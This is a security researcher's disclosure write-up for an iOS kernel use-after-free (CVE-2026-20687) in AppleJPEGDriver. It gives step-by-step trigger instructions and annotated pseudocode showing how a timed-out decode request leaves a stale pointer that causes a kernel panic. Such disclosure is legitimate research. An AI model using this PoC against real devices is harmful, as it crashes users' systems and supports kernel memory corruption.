CVE-2026-20687: AppleJPEGDriver startDecoder() Timeout UAF (deferred panic)

CVE-2026-20687 | Author: Johnny Franks (@0xjohnny)

Component: Kernel

Impact: An app may be able to cause unexpected system termination or write kernel memory

Description: A use after free issue was addressed with improved memory management.

— Apple Security Content, iOS 26.4 and iPadOS 26.4

This will kernel panic your device. Save your work.

Tested on iOS 26.3 (23D125) on iPhone18,2 (iPhone 17 Pro Max, A19 Pro).

Trigger

Direct trigger:

1. Run the PoC and tap Panic (primes the driver / queues async work).
2. Then open Camera (this reliably causes a sync JPEG decode + timeout on the affected build).
3. The timeout path frees a request but leaves its embedded queue node pointer in the per-codec vector.
4. A later queue walk dereferences the stale node and the kernel panics (MTE tag check fault).

// PoC: primes the driver; panic is usually deferred until Camera is opened.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
  startDecoder_async();                   // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);

// Later, opening Camera triggers:
startDecoder_sync();
  queue_io_gated(): vector.push(req + 0x78);
  wait(10s) -> TIMEOUT;
  pool_free(req);                         // BUG: does NOT dequeue (req + 0x78)

// Later still (finish_io_gated):
fullSpeedRequestExist():
  node_ptr = vector[i];                   // stale: node_ptr == (freed req + 0x78)
  req2 = *(node_ptr + 0x8);              // UAF read of req+0x80 -> MTE tag fault -> panic